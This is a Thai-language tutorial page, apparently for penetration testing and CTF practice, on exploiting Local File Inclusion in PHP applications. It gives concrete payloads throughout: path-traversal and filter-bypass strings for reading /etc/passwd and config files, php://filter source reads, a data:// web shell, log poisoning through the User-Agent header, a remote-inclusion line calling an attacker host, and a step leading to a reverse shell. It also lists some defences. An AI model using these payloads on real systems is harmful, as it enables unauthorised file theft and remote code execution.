web
Local File Inclusion (LFI)
LFI เกิดเมื่อแอปนำ input ผู้ใช้ไปใช้เป็น path ของไฟล์ที่จะ include/อ่าน โดยไม่กรอง ทำให้ผู้โจมตีอ่านไฟล์ในเซิร์ฟเวอร์ และในหลายกรณียกระดับเป็น RCE ผ่าน PHP wrapper หรือ log poisoning บทนี้เน้นการตรวจจับและยกระดับ
IntermediateAdvanced#lfi#file-inclusion#php-wrapper#log-poisoning#rce#web#ctf
1. หลักการ
เมื่อแอปเอา input ไปประกอบ path เช่น include("pages/" . $_GET['page']) ผู้โจมตีใส่ path traversal (../) เพื่อหลุดออกจากโฟลเดอร์ที่ตั้งใจ ไปอ่านไฟล์อื่นในระบบ เช่น /etc/passwd หรือไฟล์ config ที่มี credential
LFI — หลุด path ด้วย ../
2. ตรวจจับ
- พารามิเตอร์ที่ดูเหมือนชื่อไฟล์/หน้า: page=, file=, lang=, template=, include=, path=
- ลอง
../หลายชั้นเพื่ออ่านไฟล์ที่รู้ว่ามีแน่ เช่น /etc/passwd (Linux) หรือ C:\Windows\win.ini (Windows) - ถ้า traversal ถูกกรอง ลอง encoding หรือ wrapper (ดูหัวข้อถัดไป)
ทดสอบพื้นฐาน
?page=../../../../etc/passwd
?page=../../../../etc/passwd%00 (null byte — PHP เก่า)
?page=....//....//etc/passwd (bypass การกรอง ../ แบบ replace ครั้งเดียว)
?page=%2e%2e%2f%2e%2e%2fetc/passwd (URL encode)3. PHP wrappers — อ่าน source และยกระดับ
อ่าน source code (php://filter)
?page=php://filter/convert.base64-encode/resource=index.php
# ได้ source เป็น base64 → decode อ่าน logic/credential
?page=php://filter/read=string.rot13/resource=config.phpbase64-encode กันไม่ให้ PHP รันโค้ดในไฟล์ตอนอ่าน .php — ได้ source ดิบมาวิเคราะห์
RCE ผ่าน data:// และ expect://
# data:// (ถ้า allow_url_include=On)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id
# expect:// (ถ้า extension เปิด)
?page=expect://idbase64 ข้างบนคือ <?php system($_GET['c']);?> — ใช้กับ lab/CTF ที่ได้รับอนุญาตเท่านั้น
4. LFI → RCE ผ่าน log poisoning
ถ้า include ไฟล์ที่เรา 'แทรกเนื้อหา' เข้าไปได้ จะรันโค้ดได้ เทคนิคคลาสสิก: ใส่โค้ด PHP ลงใน log (เช่น User-Agent ที่ถูกบันทึกใน access log) แล้ว include ไฟล์ log นั้น
- 1ส่ง request โดยตั้ง User-Agent เป็น
<?php system($_GET['c']);?> - 2เซิร์ฟเวอร์บันทึกลง access log (เช่น /var/log/apache2/access.log)
- 3include log ผ่าน LFI:
?page=/var/log/apache2/access.log&c=id - 4โค้ดใน log ถูกรัน → RCE
แหล่ง poison อื่น: /proc/self/environ, mail log, session file (/var/lib/php/sessions/sess_*), หรือไฟล์ที่อัปโหลดได้ — มองหาไฟล์ที่ 'เราควบคุมเนื้อหา + include ได้'
5. Quick Reference
- param เสี่ยง: page/file/lang/template/include/path
- อ่านไฟล์: ../../../etc/passwd (+ encode/null byte ถ้าถูกกรอง)
- อ่าน source: php://filter/convert.base64-encode/resource=ไฟล์
- RCE: data:// , expect:// , log poisoning, session file
- RFI (ถ้า allow_url_include=On): ?page=http://attacker/shell.txt
- ป้องกัน: allowlist ชื่อไฟล์, basename(), ปิด allow_url_include
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอ parameter ที่ include/read ไฟล์ (page=, file=, template=, lang=) ทำตามนี้ทดสอบ LFI ทีละขั้น
- 1ทดสอบพื้นฐาน: เปลี่ยนค่าเป็น ../../../../etc/passwd ดูว่าเนื้อไฟล์โผล่ในหน้าเว็บไหม
- 2ถ้าไม่โผล่ (อาจมี filter ตัด ../ หรือบังคับ prefix/suffix) ลอง path traversal encode: ..%2f..%2f, ....//....//, หรือใช้ absolute path ตรงๆ /etc/passwd
- 3ถ้ามี suffix ถูกบังคับต่อท้าย (เช่น .php) ลอง null byte (บาง PHP version เก่า) หรือ path truncation ยาวๆ ../ ซ้ำจนตัด suffix ทิ้ง
- 4ยืนยันแล้วว่าอ่านไฟล์ได้ ลองไล่อ่านไฟล์ที่มีประโยชน์: /etc/passwd, /proc/self/environ, ไฟล์ config ของแอป (.env, config.php), log ของ web server
- 5ถ้าเป้าหมายเป็น PHP ลองใช้ php://filter/convert.base64-encode/resource=config.php เพื่ออ่าน source code แล้ว decode ด้วย CyberChef
- 6ถ้าอยากยกระดับเป็น RCE ลอง log poisoning: inject PHP code เข้า User-Agent แล้ว include /var/log/apache2/access.log กลับมารัน
- 7เช็คว่าเปิด /proc/self/environ ได้ไหม (บาง config เปิดให้ inject ผ่าน User-Agent แล้ว include กลับมารันเป็น PHP code)
- 8ถ้าแอปมี upload feature (แม้จำกัด extension) ลอง upload ไฟล์ที่มี payload แล้ว include path นั้นผ่าน LFI (แทน log poisoning)
- 9ยิง reverse shell เมื่อ RCE สำเร็จ
Master flow — ยืนยันและยกระดับ LFI เป็น RCE
เปลี่ยนค่าพารามิเตอร์เป็น ../../../../etc/passwd แล้วส่ง
เนื้อ /etc/passwd โผล่ในหน้าเว็บไหม?
✅ โผล่ตรงๆ→→ ไล่อ่านไฟล์อื่นต่อได้เลย
❌ ไม่โผล่/error→→ ต้อง bypass filter ก่อน
ลอง bypass filter: encode (..%2f), ....//....//, absolute path, หรือ null byte/path truncation ถ้ามี suffix ถูกบังคับ
bypass แล้วอ่านไฟล์ได้ไหม?
✅ อ่านได้→→ ไล่อ่านไฟล์สำคัญต่อ
❌ ยังอ่านไม่ได้เลย→→ ต้องดู path traversal เพิ่ม
อ่านไฟล์ได้แล้ว → ไล่อ่านไฟล์สำคัญ: /etc/passwd, /proc/self/environ, .env, config ของแอป
ถ้าเป็น PHP ลอง php://filter/convert.base64-encode/resource=config.php อ่าน source code แล้ว decode ด้วย CyberChef
อยากยกระดับเป็น RCE ไหม (มีช่องทาง log/upload ให้ inject)?
✅ มีช่องทาง (log accessible/upload)→→ ลอง log poisoning หรือ upload
❌ ไม่มีช่องทางเลย→→ เก็บข้อมูลที่อ่านได้ใช้ต่อ
ลอง log poisoning: inject <?php system($_GET['c']); ?> ผ่าน User-Agent แล้ว include /var/log/apache2/access.log?c=id
อ่านไฟล์ได้แต่ยกระดับ RCE ไม่ได้เลย → เก็บข้อมูลที่อ่านได้ (credential/config) ไปลองช่องทางอื่นแทน (auth bypass, SSH key)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ทดสอบ payload มือ | Burp Repeater / curl | already in Kali | - |
| fuzz หา parameter/ตำแหน่ง LFI | ffuf / wfuzz | already in Kali | - |
| encode/decode path & base64 | - | - | CyberChef |
| โจมตี LFI ให้ครอบคลุมอัตโนมัติ | kadimus | git clone kadimus | - |
| log poisoning inject payload | curl -A | already in Kali | - |
| สร้าง reverse shell payload | nc | already in Kali | revshells.com |
| เรียนรู้ LFI wordlist/เทคนิค | SecLists (มากับ Kali) | - | portswigger / hacktricks |
🚑 ถ้าตันสนิท ลองท่าถัดไป: path-traversal ถ้ายังอ่านไฟล์ไม่ได้เลยแม้ bypass หลายแบบ, file-upload ถ้ามีช่องอัปโหลดไฟล์ ใช้แทน log poisoning ได้, rfi ถ้าแอปดันโหลดไฟล์จาก URL ภายนอกได้ ลอง RFI แทน local file, command-injection เมื่อยกระดับ RCE สำเร็จแล้วอยากรันคำสั่งต่อ
หัวข้อที่เชื่อมโยง
Path Traversalเกี่ยวข้องโดยตรงRemote File Inclusion (RFI)เกี่ยวข้องโดยตรงFile Upload Vulnerabilitiesอยู่ใน workflowCommand Injectionเกี่ยวข้องโดยตรงDirectory Enumerationเกี่ยวข้องโดยตรงParameter Discoveryเกี่ยวข้องโดยตรงFFUF Playbookอยู่ใน workflowServer-Side Template Injection (SSTI)เทคนิคเดียวกันInsecure DeserializationเทคนิคเดียวกันAuthentication Testingเครื่องมือเดียวกันBroken Access Controlเครื่องมือเดียวกันSQL Injectionเครื่องมือเดียวกัน
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้